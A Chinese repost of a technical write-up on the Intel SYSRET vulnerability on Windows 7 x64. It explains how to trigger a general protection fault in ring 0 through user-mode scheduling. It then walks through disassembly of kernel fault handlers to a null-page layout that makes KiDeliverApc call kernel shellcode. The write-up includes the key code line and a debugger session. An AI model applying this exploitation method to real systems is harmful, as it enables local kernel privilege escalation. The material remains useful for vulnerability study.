热搜:

Intel Sysret 漏洞在WIN7 X64下的实现分析

2013-03-13 15:10:46文章来源:点点软件园热度:0

更多

  intel sysret 漏洞在WIN7 X64下的实现分析。前半部分是网上现有的文章分析,后半部分为代码实现分析更多最新IT资讯尽在金顺软件园http://www.jinshun168.com/

  1. 漏洞浅析

  在x64系统上,最重要的48位虚拟地址将被用于地址转换,而此外48到63的任何虚拟地址必须是47位的副本。否则处理器会抛出异常:保护故障(GP)。

  这会将虚拟地址分割位两个区块,如:

  · 规范的高阶半区: 0xFFFFFF`FFFFFFFF 0xFFFF8000`00000000

  · 规范的低阶半区: 0x00007FFF`FFFFFFFF 0x00000000`00000000

  而所有这之间的地址都会被认为是不规范的。

  SYSRET指令被用于传递返回到普通用户模式(user-mode)。它将RCX寄存器中的值复制到RIP寄存器中,并把Code Segment Selector位切换位普通用户模式(user-mode)。然而,RCX寄存器是一个通用寄存器,它可能包含的任何值,包括不规范的地址。并且SYSRET指令一旦抛出异常是不负责退栈切换回用户空间的,也不负责为GS寄存器做扫尾工作。这意味着,程序员在调用SYSRET指令前后都需要为GS,RSP,RBP做额外的处理。

  而我们恰好发现intel的SYSRET指令实现中存在一个缺陷: 如果一个不规范的地址从RCX寄存器传递而抛出GP, 那么在CG,RBP和RSP返回普通用户模式(user-mode)前, 其ring0的权限不会被取缔(因为没有任何扫尾工作)。

  2. MS windows中的漏洞触发

  利用这个漏洞的关键是要抛出一个不规范的返回地址,而为了在MS Windows中触发这个漏洞,我们可以有以下的方式:

  · 映射内存并在0x7FFF`FFFFFFFF位执行一个系统调用。这将返回一个不规范的地址。然而,由于Windows地址空间的限制,这个地址是不可达的,因此此路不通罗马。

  · 寻找一个系统调用,并能手动改变返回地址。

  关于后者,可借力于UMS(User-Mode Scheduling 用户模式计划程序)。

  ps: MSDN,UMS是一个轻量级的机制,应用程序可以用它来安排自己的线程。应用程序可以在用户模式下自由进行UMS线程间的切换而不必不涉及系统调度。

  为了使用UMS线程,可以用CreateUmsCompletionList()函数创建一个的UMS调度列表。scheduler线程将被链接到此调度列表,而scheduler线程也将需要被创建(scheduler线程通过EnterUmsSchedulingMode()从普通线程晋升为UMS线程)。

  如果UMS线程启动或阻塞,那么ExecuteUmsThread()函数需要被调用。如果没有, scheduler需要确定哪些线程将随后运行。它将排列调度列表,选择正确的线程。

  EnterUmsSchedulingMode()函数是ntdll.dll中实现的。从汇编代码中,我们可以看到,它得到当前的UMS线程,完成链接调度列表,保存线程上下文(寄存器),然后调用RtlpUmsPrimaryContextWrap()函数。

  1. .text:0000000078F33A20 RtlEnterUmsSchedulingMode

  2. .text:0000000078F33A20

  3. .text:0000000078F33A20 arg_0 = qword ptr 8

  4. .text:0000000078F33A20 arg_8 = qword ptr 10h#p#分页标题#e#

  5. .text:0000000078F33A20 arg_10 = qword ptr 18h

  6. .text:0000000078F33A20

  7. .text:0000000078F33A20 mov [rsp+arg_8], rbx

  8. .text:0000000078F33A25 mov [rsp+arg_10], rsi

  9. .text:0000000078F33A2A push rdi

  10. .text:0000000078F33A2B sub rsp, 20h

  11. .text:0000000078F33A2F mov rsi, [rcx+8]

  12. .text:0000000078F33A33 mov rbx, [rcx+10h]

  13. [...]

  14. .text:0000000078F33A5D loc_78F33A5D:

  15. .text:0000000078F33A5D mov rdx, rsi

  16. .text:0000000078F33A60 xor ecx, ecx

  17. .text:0000000078F33A62 call RtlpAttachThreadToUmsCompletionList

  18. .text:0000000078F33A67 test eax, eax

  19. .text:0000000078F33A69 js short loc_78F33AA0

  20. .text:0000000078F33A6B lea rcx, [rsp+28h+arg_0]#p#分页标题#e#

  21. .text:0000000078F33A70 call RtlGetCurrentUmsThread

  22. .text:0000000078F33A75 test eax, eax

  23. .text:0000000078F33A77 js short loc_78F33A94

  24. .text:0000000078F33A79 mov rcx, [rsp+28h+arg_0]

  25. .text:0000000078F33A7E call RtlpSaveUmsdebugRegisterState

  26. .text:0000000078F33A83 test eax, eax

  27. .text:0000000078F33A85 js short loc_78F33A94

  28. .text:0000000078F33A87 mov rdx, rdi

  29. .text:0000000078F33A8A mov rcx, rbx

  30. .text:0000000078F33A8D call RtlpUmsPrimaryContextWrap

  31. .text:0000000078F33A92 jmp short $+2

  RtlpUmsPrimaryContextWrap()函数负责调用scheduler并保存线程信息在一个结构中(ps:这是一个非文档化的结构),通过反汇编我们可以知道此结构为:

  RSP

  RBP

  返回地址

  1. .text:0000000078EA03F0 RtlpUmsPrimaryContextWrap

  2. .text:0000000078EA03F0

  3. .text:0000000078EA03F0 var_108 = xmmword ptr -108h

  4. .text:0000000078EA03F0 var_F8 = xmmword ptr -0F8h#p#分页标题#e#

  5. .text:0000000078EA03F0 var_E8 = xmmword ptr -0E8h

  6. .text:0000000078EA03F0 var_D8 = xmmword ptr -0D8h

  7. .text:0000000078EA03F0 var_C8 = xmmword ptr -0C8h

  8. .text:0000000078EA03F0 var_38 = byte ptr -38h

  9. [...]

  10. .text:0000000078EA0452 mov [rax+30h], r15

  11. .text:0000000078EA0456 mov r10, gs:14A0h

  12. .text:0000000078EA045F lea r10, [r10+10h]

  13. .text:0000000078EA0463 lea r11, loc_78EA0493

  14. .text:0000000078EA046A mov [r10+0D0h], rcx //这里将被HOOK

  15. .text:0000000078EA0471 mov [r10+0A0h], rbp

  16. .text:0000000078EA0478 mov [r10+98h], rsp

  17. .text:0000000078EA047F mov [r10+0F8h], r11 // saved return

  18. .text:0000000078EA0486 mov r12, 0

  19. .text:0000000078EA048D xor r13, r13

  20. .text:0000000078EA0490 mov r14, rdx#p#分页标题#e#

  21. .text:0000000078EA0493

  22. .text:0000000078EA0493 loc_78EA0493:

  23. .text:0000000078EA0493 mov r10, gs:14A0h

  24. .text:0000000078EA049C lea r10, [r10+10h]

  25. .text:0000000078EA04A0 mov r11, [r10+0D0h] // scheduler func

  26. .text:0000000078EA04A7 mov rcx, r12

  27. .text:0000000078EA04AA mov rdx, r13

  28. .text:0000000078EA04AD mov r8, r14

  29. .text:0000000078EA04B0 call r11 // calls the scheduler function

  30. .text:0000000078EA04B3 lea rcx, [rsp+138h+var_38]

  31. .text:0000000078EA04BB movaps xmm6, [rsp+138h+var_108]

  32. .text:0000000078EA04C0 movaps xmm7, [rsp+138h+var_F8]

  如果我们调试内核 ,在Ntoskrnl.exe的KeBuildPrimaryThreadContext()函数处设置bp,我们可以看到0x00000000`78EA0493被保存为返回到用户空间的地址。

  1. PAGE:FFFFF80002C5A070 KeBuildPrimaryThreadContext

  2. PAGE:FFFFF80002C5A070#p#分页标题#e#

  3. PAGE:FFFFF80002C5A070 arg_0 = qword ptr 8

  4. PAGE:FFFFF80002C5A070 arg_20 = qword ptr 28h

  5. PAGE:FFFFF80002C5A070 arg_28 = qword ptr 30h

  6. PAGE:FFFFF80002C5A070

  7. PAGE:FFFFF80002C5A070 mov [rsp+arg_0], rbx

  8. PAGE:FFFFF80002C5A075 movsxd rbx, r9d

  9. PAGE:FFFFF80002C5A078 mov r9, rdx

  10. PAGE:FFFFF80002C5A07B xor r10d, r10d

  11. PAGE:FFFFF80002C5A07E mov rax, [rcx+1B8h]

  12. PAGE:FFFFF80002C5A085 mov r11, [rax]

  13. PAGE:FFFFF80002C5A088 cmp r8, r10

  14. PAGE:FFFFF80002C5A08B jz loc_FFFFF80002C5A168

  15. [...]

  16. PAGE:FFFFF80002C5A168 loc_FFFFF80002C5A168:

  17. PAGE:FFFFF80002C5A168 mov rdx, [rdx+50h]

  18. PAGE:FFFFF80002C5A16C mov rcx, [r9+58h]

  #p#分页标题#e#

  19. PAGE:FFFFF80002C5A170 mov rax, [r11+108h]

  20. PAGE:FFFFF80002C5A177 mov [rdx+168h], rax // saved RIP

  21. PAGE:FFFFF80002C5A17E mov rax, [r11+0A8h]

  22. PAGE:FFFFF80002C5A185 mov [rdx+180h], rax

  23. PAGE:FFFFF80002C5A18C mov rax, [r11+0B0h]

  24. PAGE:FFFFF80002C5A193 mov [rdx+158h], rax

  25. PAGE:FFFFF80002C5A19A mov eax, 33h ; '3'

  26. PAGE:FFFFF80002C5A19F mov [rdx+170h], ax

  27. PAGE:FFFFF80002C5A1A6 mov eax, 2Bh ; '+'

  28. PAGE:FFFFF80002C5A1AB mov [rdx+188h], ax

  我们的想法是在ExecuteUmsThread()调用前破坏这个地址为非规范地址 。而在用户态的scheduler中,返回地址保存在: GS:[0x14a0] + 0x10 + 0x1F处。

  内核调度结束后,ntoskrnl.exe中的KiUmsFastReturnToUser()函数被调用。在调用SYSRET指令前, RSP, RBP和GS将会被重置为他们之前保存的副本,返回用户态的地址也被移入RCX寄存器。

  1. .text:FFFFF800028DD440 KiUmsFastReturnToUser

  2. .text:FFFFF800028DD440

  3. .text:FFFFF800028DD440 var_5046 = dword ptr -5046h

  4. .text:FFFFF800028DD440 var_4FA6 = byte ptr -4FA6h#p#分页标题#e#

  5. .text:FFFFF800028DD440 arg_42 = byte ptr 52h

  6. .text:FFFFF800028DD440 arg_80 = byte ptr 88h

  7. .text:FFFFF800028DD440 arg_190 = dword ptr 198h

  8. .text:FFFFF800028DD440

  9. .text:FFFFF800028DD440 sub rsp, 28h

  10. .text:FFFFF800028DD444 mov rbx, gs:+188h

  11. .text:FFFFF800028DD44D mov rcx, [rbx+1D8h]

  12. .text:FFFFF800028DD454 lea rbp, [rcx+80h]

  13. .text:FFFFF800028DD45B mov rax, cr8

  14. [...]

  15. .text:FFFFF800028DD596 loc_FFFFF800028DD596:

  16. .text:FFFFF800028DD596 mov r8, [rbp+100h] // saved RSP

  17. .text:FFFFF800028DD59D mov r9, [rbp+0D8h] // saved RBP

  18. .text:FFFFF800028DD5A4 xor edx, edx

  19. .text:FFFFF800028DD5A6 pxor xmm0, xmm0

  20. .text:FFFFF800028DD5AA pxor xmm1, xmm1#p#分页标题#e#

  21. .text:FFFFF800028DD5AE pxor xmm2, xmm2

  22. .text:FFFFF800028DD5B2 pxor xmm3, xmm3

  23. .text:FFFFF800028DD5B6 pxor xmm4, xmm4

  24. .text:FFFFF800028DD5BA pxor xmm5, xmm5

  25. .text:FFFFF800028DD5BE mov rcx, [rbp+0E8h] // saved ret address

  26. .text:FFFFF800028DD5C5 mov r11, [rbp+0F8h]

  27. .text:FFFFF800028DD5CC mov rbp, r9

  28. .text:FFFFF800028DD5CF mov rsp, r8

  29. .text:FFFFF800028DD5D2 swapgs // switch GS to user

  30. .text:FFFFF800028DD5D5 sysret

  31. .text:FFFFF800028DD5D8 db 66h, 66h, 66h, 66h, 66h, 66h

  32. .text:FFFFF800028DD5D8 nop word ptr [rax+rax+00000000h]

  33. .text:FFFFF800028DD5E7 db 66h, 66h, 66h, 66h, 66h, 66h

  但是,如果此时RCX是不规范的,那么GP异常将在特权模式下被抛出。

  3. Windows 7 & Windows 2008 R2 x64下的利用

  GP异常抛出时,RSP和RBP可控,GS指向用户态,PFH(protection fault handler)则被指向KiGeneralProtectionFault()函数

  一种利用此漏洞的方式,是利用已控的RBP和RBP。因为KiGeneralProtectionFault()将会把值写入堆栈,且堆栈也是可控的。基于这些我们可以试试write-4 techniques。#p#分页标题#e#

  ps: write-4 techniques - http://immunityinc.com/infiltrate/archives/kernelpool_infiltrate2011.pdf

  1. .text:FFFFF800028DBAC0 KiGeneralProtectionFault

  2. .text:FFFFF800028DBAC0

  3. .text:FFFFF800028DBAC0 var_12D = byte ptr -12Dh

  4. .text:FFFFF800028DBAC0 var_12C = dword ptr -12Ch

  5. .text:FFFFF800028DBAC0 var_128 = qword ptr -128h

  6. .text:FFFFF800028DBAC0 var_120 = qword ptr -120h

  7. .text:FFFFF800028DBAC0 var_118 = qword ptr -118h

  8. .text:FFFFF800028DBAC0 var_110 = qword ptr -110h

  9. .text:FFFFF800028DBAC0 var_108 = qword ptr -108h

  10. .text:FFFFF800028DBAC0 var_100 = qword ptr -100h

  11. .text:FFFFF800028DBAC0 var_F8 = qword ptr -0F8h

  12. .text:FFFFF800028DBAC0 var_E8 = xmmword ptr -0E8h

  13. .text:FFFFF800028DBAC0 var_D8 = xmmword ptr -0D8h

  14. .text:FFFFF800028DBAC0 var_C8 = xmmword ptr -0C8h

  15. .text:FFFFF800028DBAC0 var_B8 = xmmword ptr -0B8h

  16. .text:FFFFF800028DBAC0 var_A8 = xmmword ptr -0A8h#p#分页标题#e#

  17. .text:FFFFF800028DBAC0 var_98 = xmmword ptr -98h

  18. .text:FFFFF800028DBAC0 var_58 = word ptr -58h

  19. .text:FFFFF800028DBAC0 arg_0 = qword ptr 10h

  20. .text:FFFFF800028DBAC0 arg_8 = byte ptr 18h

  21. .text:FFFFF800028DBAC0 arg_10 = qword ptr 20h

  22. .text:FFFFF800028DBAC0 arg_24 = dword ptr 34h

  23. .text:FFFFF800028DBAC0

  24. .text:FFFFF800028DB600 push rbp

  25. .text:FFFFF800028DB601 sub rsp, 158h

  26. .text:FFFFF800028DB608 lea rbp, [rsp+80h]

  27. .text:FFFFF800028DB610 mov [rbp+0D8h+var_12D], 1

  28. .text:FFFFF800028DB614 mov [rbp+0D8h+var_128], rax

  29. .text:FFFFF800028DB618 mov [rbp+0D8h+var_120], rcx

  30. .text:FFFFF800028DB61C mov [rbp+0D8h+var_118], rdx

  31. .text:FFFFF800028DB620 mov [rbp+0D8h+var_110], r8

  32. .text:FFFFF800028DB624 mov [rbp+0D8h+var_108], r9#p#分页标题#e#

  33. .text:FFFFF800028DB628 mov [rbp+0D8h+var_100], r10

  34. .text:FFFFF800028DB62C mov [rbp+0D8h+var_F8], r11

  35. .text:FFFFF800028DB630 test [rbp+0D8h+arg_8], 1

  36. .text:FFFFF800028DB637 jz short loc_FFFFF800028DB65A

  37. .text:FFFFF800028DB639 swapgs

  38. .text:FFFFF800028DB63C mov r10, gs:188h

  39. .text:FFFFF800028DB645 test byte ptr [r10+3], 3

  40. .text:FFFFF800028DB64A mov [rbp+0D8h+var_58], 0

  然而,因为目标内存周围数据已被破坏,这使得此exp方法不可靠。

  一个更好的方法是利用指向用户空间的GS。 我们的思路是,欺骗内核调用GS中索引的函数。这种功能可以触发页错误处理程序(所有这一切需要做的是产生此异常)。

  1. .text:FFFFF800028DB65A cld

  2. .text:FFFFF800028DB65B stmxcsr [rbp+0D8h+var_12C]

  3. .text:FFFFF800028DB65F ldmxcsr dword ptr gs:180h

  4. .text:FFFFF800028DB668 movaps [rbp+0D8h+var_E8], xmm0

  5. .text:FFFFF800028DB66C movaps [rbp+0D8h+var_D8], xmm1

  6. .text:FFFFF800028DB670 movaps [rbp+0D8h+var_C8], xmm2

  #p#分页标题#e#

  7. .text:FFFFF800028DB674 movaps [rbp+0D8h+var_B8], xmm3

  8. .text:FFFFF800028DB678 movaps [rbp+0D8h+var_A8], xmm4

  9. .text:FFFFF800028DB67C movaps [rbp+0D8h+var_98], xmm5

  10. .text:FFFFF800028DB680 mov eax, [rbp+0E0h]

  11. .text:FFFFF800028DB686 test [rbp+0D8h+arg_10], 200h

  12. .text:FFFFF800028DB691 jz short loc_FFFFF800028DB694

  13. .text:FFFFF800028DB693 sti

  14. .text:FFFFF800028DB694 loc_FFFFF800028DB694:

  15. .text:FFFFF800028DB694 mov r10, [rbp+0D8h+arg_0]

  16. .text:FFFFF800028DB69B mov r9, cr4

  17. .text:FFFFF800028DB69F mov r8, cr0

  18. .text:FFFFF800028DB6A3 mov edx, 8

  19. .text:FFFFF800028DB6A8 mov ecx, 7Fh

  20. .text:FFFFF800028DB6AD call KiBugCheckDisPatch

  此函数叫做 KeBugCheckEx()

  1. .text:FFFFF800028DD180 KiBugCheckDispatch#p#分页标题#e#

  2. .text:FFFFF800028DD180

  3. .text:FFFFF800028DD180 var_118= qword ptr -118h

  4. .text:FFFFF800028DD180 var_108= xmmword ptr -108h

  5. .text:FFFFF800028DD180 var_F8= xmmword ptr -0F8h

  6. .text:FFFFF800028DD180 var_E8= xmmword ptr -0E8h

  7. .text:FFFFF800028DD180 var_D8= xmmword ptr -0D8h

  8. .text:FFFFF800028DD180 var_C8= xmmword ptr -0C8h

  9. .text:FFFFF800028DD180 var_38= byte ptr -38h

  10. .text:FFFFF800028DD180

  11. .text:FFFFF800028DD180 sub rsp, 138h

  12. .text:FFFFF800028DD187 lea rax, [rsp+138h+var_38]

  13. .text:FFFFF800028DD18F movaps [rsp+138h+var_108], xmm6

  14. .text:FFFFF800028DD194 movaps [rsp+138h+var_F8], xmm7

  15. .text:FFFFF800028DD199 movaps [rsp+138h+var_E8], xmm8

  16. [...]

  17. .text:FFFFF800028DD1D3 mov [rax+20h], r13#p#分页标题#e#

  18. .text:FFFFF800028DD1D7 mov [rax+28h], r14

  19. .text:FFFFF800028DD1DB mov [rax+30h], r15

  20. .text:FFFFF800028DD1DF mov [rsp+138h+var_118], r10

  21. .text:FFFFF800028DD1E4 call KeBugCheckEx

  22. .text:FFFFF800028DD1E4 KiBugCheckDispatch endp

  KeBugCheckEx()函数需要将控制状态寄存器保存到GS索引的一个内存结构。

  1. .text:FFFFF800028DDC40 KeBugCheckEx

  2. .text:FFFFF800028DDC40

  3. .text:FFFFF800028DDC40 var_18= qword ptr -18h

  4. .text:FFFFF800028DDC40 var_10= qword ptr -10h

  5. .text:FFFFF800028DDC40 var_8= qword ptr -8

  6. .text:FFFFF800028DDC40 arg_0= qword ptr 8

  7. .text:FFFFF800028DDC40 arg_8= qword ptr 10h

  8. .text:FFFFF800028DDC40 arg_10= qword ptr 18h

  9. .text:FFFFF800028DDC40 arg_18= qword ptr 20h

  10. .text:FFFFF800028DDC40 arg_20= qword ptr 28h#p#分页标题#e#

  11. .text:FFFFF800028DDC40 arg_28= byte ptr 30h

  12. .text:FFFFF800028DDC40

  13. .text:FFFFF800028DDC40 mov [rsp+arg_0], rcx

  14. .text:FFFFF800028DDC45 mov [rsp+arg_8], rdx

  15. .text:FFFFF800028DDC4A mov [rsp+arg_10], r8

  16. .text:FFFFF800028DDC4F mov [rsp+arg_18], r9

  17. .text:FFFFF800028DDC54 pushfq

  18. .text:FFFFF800028DDC55 sub rsp, 30h

  19. .text:FFFFF800028DDC59 cli

  20. .text:FFFFF800028DDC5A mov rcx, gs:20h

  21. .text:FFFFF800028DDC63 mov rcx, [rcx+4BD8h]

  22. .text:FFFFF800028DDC6A call RtlCaptureContext

  23. .text:FFFFF800028DDC6F mov rcx, gs:20h

  24. .text:FFFFF800028DDC78 add rcx, 40h

  25. .text:FFFFF800028DDC7C call KiSaveProcessorControlState

  26. .text:FFFFF800028DDC81 mov r10, gs:20h#p#分页标题#e#

  27. .text:FFFFF800028DDC8A mov r10, [r10+4BD8h]

  28. .text:FFFFF800028DDC91 mov rax, [rsp+38h+arg_0]

  29. .text:FFFFF800028DDC96 mov [r10+80h], rax

  30. .text:FFFFF800028DDC9D mov rax, [rsp+38h+var_8]

  KeSaveProcessorControlState()函数将尝试把cr0寄存器的内容保存在GS:0x20处。

  1. .text:FFFFF800028DDF70 KiSaveProcessorControlState

  2. .text:FFFFF800028DDF70 mov rax, cr0

  3. .text:FFFFF800028DDF73 mov [rcx], rax

  4. .text:FFFFF800028DDF76 mov rax, cr2

  5. .text:FFFFF800028DDF79 mov [rcx+8], rax

  6. .text:FFFFF800028DDF7D mov rax, cr3

  7. .text:FFFFF800028DDF80 mov [rcx+10h], rax

  8. .text:FFFFF800028DDF84 mov rax, cr4

  这可以被用来抛出一个页错误:

  如果一个诸如0x54545454`54545454的值被存储在GS:0x20,那么页错误将被触发。

  在页错误处理程序中,我们的目标在于达到KiCheckForKernelApcDelivery()函数。它主要包括设置一个有效的指针GS:0x188(初始设置为0)。

  1. .text:FFFFF800028DBC00 KiPageFault

  2. .text:FFFFF800028DBC00#p#分页标题#e#

  3. .text:FFFFF800028DBC00 var_158= dword ptr -158h

  4. .text:FFFFF800028DBC00 var_138= dword ptr -138h

  5. .text:FFFFF800028DBC00 var_12E= byte ptr -12Eh

  6. .text:FFFFF800028DBC00 var_12D= byte ptr -12Dh

  7. .text:FFFFF800028DBC00 var_12C= dword ptr -12Ch

  8. .text:FFFFF800028DBC00 var_128= qword ptr -128h

  9. [...]

  10. .text:FFFFF800028DBC00 push rbp

  11. .text:FFFFF800028DBC01 sub rsp, 158h

  12. .text:FFFFF800028DBC08 lea rbp, [rsp+80h]

  13. .text:FFFFF800028DBC10 mov [rbp+0D8h+var_12D], 1

  14. .text:FFFFF800028DBC14 mov [rbp+0D8h+var_128], rax

  15. .text:FFFFF800028DBC18 mov [rbp+0D8h+var_120], rcx

  16. .text:FFFFF800028DBC1C mov [rbp+0D8h+var_118], rdx

  17. .text:FFFFF800028DBC20 mov [rbp+0D8h+var_110], r8

  18. .text:FFFFF800028DBC24 mov [rbp+0D8h+var_108], r9#p#分页标题#e#

  19. .text:FFFFF800028DBC28 mov [rbp+0D8h+var_100], r10

  20. .text:FFFFF800028DBC2C mov [rbp+0D8h+var_F8], r11

  21. .text:FFFFF800028DBC30 test byte ptr [rbp+0D8h+arg_8], 1

  22. .text:FFFFF800028DBC37 jz short loc_FFFFF800028DBCAD

  23. .text:FFFFF800028DBC39 swapgs

  24. .text:FFFFF800028DBC3C mov r10, gs:188h

  25. .text:FFFFF800028DBC45 cmp [rbp+0D8h+arg_8], 33h ; '3'

  26. [...]

  27. .text:FFFFF800028DBCAD loc_FFFFF800028DBCAD:

  28. ; KiPageFault+A6 j

  29. .text:FFFFF800028DBCAD cld

  30. .text:FFFFF800028DBCAE stmxcsr [rbp+0D8h+var_12C]

  31. .text:FFFFF800028DBCB2 ldmxcsr dword ptr gs:180h

  32. .text:FFFFF800028DBCBB movaps [rbp+0D8h+var_E8], xmm0

  33. .text:FFFFF800028DBCBF movaps [rbp+0D8h+var_D8], xmm1

  34. .text:FFFFF800028DBCC3 movaps [rbp+0D8h+var_C8], xmm2#p#分页标题#e#

  35. .text:FFFFF800028DBCC7 movaps [rbp+0D8h+var_B8], xmm3

  36. .text:FFFFF800028DBCCB movaps [rbp+0D8h+var_A8], xmm4

  37. .text:FFFFF800028DBCCF movaps [rbp+0D8h+var_98], xmm5

  38. .text:FFFFF800028DBCD3 mov eax, cs:KiCodePatchCycle

  39. .text:FFFFF800028DBCD9 mov [rbp+0D8h+arg_24], eax

  40. .text:FFFFF800028DBCDF mov eax, [rbp+0E0h]

  41. .text:FFFFF800028DBCE5 mov rcx, cr2

  42. .text:FFFFF800028DBCE8 test [rbp+0D8h+arg_10], 200h

  43. .text:FFFFF800028DBCF3 jz short loc_FFFFF800028DBCF6

  44. .text:FFFFF800028DBCF5 sti

  45. [...]

  46. .text:FFFFF800028DBCF6 loc_FFFFF800028DBCF6:

  47. .text:FFFFF800028DBCF6 mov r9, gs:188h

  48. .text:FFFFF800028DBCFF bt dword ptr [r9+4Ch], 0Bh

  49. .text:FFFFF800028DBD05 jnb short loc_FFFFF800028DBD15

  50. .text:FFFFF800028DBD07 test byte ptr [rbp+0F0h], 1#p#分页标题#e#

  51. [...]

  52. .text:FFFFF800028EACF2 loc_FFFFF800028EACF2:

  53. .text:FFFFF800028EACF2 mov r12, gs:188h

  54. .text:FFFFF800028EACFB mov [rbp+0D0h+var_78], rdi

  55. .text:FFFFF800028EACFF mov rcx, [r12+70h]

  56. .text:FFFFF800028EAD04 mov [rbp+0D0h+var_98], rcx

  57. .text:FFFFF800028EAD08 cmp dword ptr [rcx+438h], 10h

  58. .text:FFFFF800028EAD0F lea r14, [rcx+398h]

  59. .text:FFFFF800028EAD16 ja loc_FFFFF800028EB0E2

  60. .text:FFFFF800028EAD1C mov eax, cs:MiDelayPageFaults

  61. .text:FFFFF800028EAD22 test eax, eax

  62. [...]

  63. .text:FFFFF800028EC79C loc_FFFFF800028EC79C:

  64. .text:FFFFF800028EC79C call KiCheckForKernelApcDelivery

  65. .text:FFFFF800028EC7A1 jmp loc_FFFFF800028EAF75

  #p#分页标题#e#KiCheckForKernelApcDelivery()函数调用的KiDeliverApc():

  1. .text:FFFFF8000288AF10 KiCheckForKernelApcDelivery

  2. .text:FFFFF8000288AF10 push rbx

  3. .text:FFFFF8000288AF12 sub rsp, 20h

  4. .text:FFFFF8000288AF16 mov rax, cr8

  5. .text:FFFFF8000288AF1A mov ecx, 1

  6. .text:FFFFF8000288AF1F test al, al

  7. .text:FFFFF8000288AF21 jnz short loc_FFFFF8000288AF3F

  8. .text:FFFFF8000288AF23 xor ebx, ebx

  9. .text:FFFFF8000288AF25 mov cr8, rcx

  10. .text:FFFFF8000288AF29 xor r8d, r8d

  11. .text:FFFFF8000288AF2C xor edx, edx

  12. .text:FFFFF8000288AF2E xor ecx, ecx

  13. .text:FFFFF8000288AF30 call KiDeliverApc

  14. .text:FFFFF8000288AF35 mov cr8, rbx

  这是一个实现代码执行的函数 。它将提取GS:0x188中的指针,并在一系列解引用操作后设置R11寄存器,而R11寄存器用来调用另一个函数。

  1. .text:FFFFF800028D1130 KiDeliverApc#p#分页标题#e#

  2. .text:FFFFF800028D1130

  3. .text:FFFFF800028D1130 var_78= dword ptr -78h

  4. .text:FFFFF800028D1130 var_58= qword ptr -58h

  5. .text:FFFFF800028D1130 var_50= qword ptr -50h

  6. .text:FFFFF800028D1130 var_48= qword ptr -48h

  7. .text:FFFFF800028D1130 var_40= qword ptr -40h

  8. .text:FFFFF800028D1130 arg_0= qword ptr 8

  9. [...]

  10. .text:FFFFF800028D115B loc_FFFFF800028D115B:

  11. .text:FFFFF800028D115B mov rbx, gs:188h

  12. .text:FFFFF800028D1164 mov r15, [rbx+1D8h]

  13. .text:FFFFF800028D116B mov r14, [rbx+70h]

  14. .text:FFFFF800028D116F mov [rbx+79h], r9b

  15. .text:FFFFF800028D1173 mov [rbx+1D8h], r8

  16. .text:FFFFF800028D117A cmp [rbx+1C6h], r9w

  17. .text:FFFFF800028D1182 jnz short loc_FFFFF800028D11A8#p#分页标题#e#

  18. .text:FFFFF800028D1184 lock or [rsp+78h+var_78], r9d

  19. .text:FFFFF800028D1189 lfence

  20. .text:FFFFF800028D118C lea rsi, [rbx+50h]

  21. [...]

  22. .text:FFFFF800028D11EC loc_FFFFF800028D11EC:

  23. .text:FFFFF800028D11EC mov r8, [rsi]

  24. .text:FFFFF800028D11EF cmp r8, rsi

  25. .text:FFFFF800028D11F2 jz loc_FFFFF800029296C7

  26. .text:FFFFF800028D11F8 mov [rbx+79h], r9b

  27. .text:FFFFF800028D11FC lea r10, [r8-10h]

  28. .text:FFFFF800028D1200 prefetchw byte ptr [r10]

  29. .text:FFFFF800028D1204 mov rcx, [r10+30h]

  30. .text:FFFFF800028D1208 mov r11, [r10+20h]

  31. .text:FFFFF800028D120C mov [rsp+78h+arg_10], rcx

  32. .text:FFFFF800028D1214 mov rax, [r10+38h]

  33. [...]#p#分页标题#e#

  34. .text:FFFFF800028D12B0 loc_FFFFF800028D12B0:

  35. .text:FFFFF800028D12B0 mov rax, [r8+8]

  36. .text:FFFFF800028D12B4 mov rdx, [r8]

  37. .text:FFFFF800028D12B7 mov [rax], rdx

  38. .text:FFFFF800028D12BA mov [rdx+8], rax

  39. .text:FFFFF800028D12BE mov [r10+52h], r9b

  40. .text:FFFFF800028D12C2 lock and [rbx+88h], r9

  41. .text:FFFFF800028D12CA movzx eax, r12b

  42. .text:FFFFF800028D12CE mov cr8, rax

  43. .text:FFFFF800028D12D2 lea rax, [rsp+78h+arg_18]

  44. .text:FFFFF800028D12DA lea r9, [rsp+78h+var_48]

  45. .text:FFFFF800028D12DF lea r8, [rsp+78h+var_40]

  46. .text:FFFFF800028D12E4 lea rdx, [rsp+78h+arg_10]

  47. .text:FFFFF800028D12EC mov rcx, r10

  48. .text:FFFFF800028D12EF mov [rsp+78h+var_58], rax

  49. .text:FFFFF800028D12F4 call r11#p#分页标题#e#

  50. .text:FFFFF800028D12F7 xor r9d, r9d

  51. .text:FFFFF800028D12FA jmp loc_FFFFF800028D1190

  而如果R11寄存器指向一个内核shellcode并且内核调用它,则我们的shellcode就能可靠运行了。

  下面我结合代码进行下简单的说明。

  上面说了一大通东西,其实关键就是

  1, 挂钩特殊函数使其产生本无法产生的特殊非规范地址,并使指令跳到这个特殊非规范地址从而触发系统异常。

  2, 系统发生异常时候,通过设置一些特定的数据跳转,跳转到我们想要的地方。也就是最关键的函数

  nt!KiDeliverApc,大家看代码的时候,需要结合标红的字段就可以理解SHELLCODE的布局了。

  触发这个异常的时候,gs:188指向的是我们分配的0地址,所以

  mov rbx, gs:188h rbx =0

  lea rsi, [rbx+50h] rsi =0x50

  mov r8, [rsi] r8 =0

  lea r10, [r8-10h] r10 = -10h

  mov r11, [r10+20h] r11 = 0x10

  call r11 call的是我们分配地址0+0x10的地方。

  也就是代码里#p#分页标题#e#

  *(PLONGLONG)((ULONG_PTR)0L+0x10) = KernelShellcodeAddress;

  的精华所在,其他的大家看代码也就清楚了。

  说明的是:

  原始的老外代码是VS2010 编译的,我修改为最常用的VS2008 编译 ,同时修改了些小BUG。

  代码调试可以调试到

  断点nt!KiUmsFastReturnToUser

  Breakpoint 5 hit

  nt!KiUmsFastReturnToUser+0x17e:

  fffff800`0428907e 488b8de8000000 mov rcx,qword ptr [rbp+0E8h] //构造的异常返回地址

  2: kd> p

  nt!KiUmsFastReturnToUser+0x185:

  fffff800`04289085 4c8b9df8000000 mov r11,qword ptr [rbp+0F8h]

  2: kd> p

  nt!KiUmsFastReturnToUser+0x18c:

  fffff800`0428908c 498be9 mov rbp,r9

  2: kd> r

  rax=0000000000000000 rbx=fffffa800fa0fb60 rcx=8000000000000000(构造的异常返回地址)#p#分页标题#e#

  rdx=0000000000000000 rsi=0000000076f8edc0 rdi=0000000000000000

  rip=fffff8000428908c rsp=fffff880097d2bb0 rbp=fffff880097d2c60

  r8=00000000002ff6e0 r9=00000000002ff6e0 r10=0000000000000000

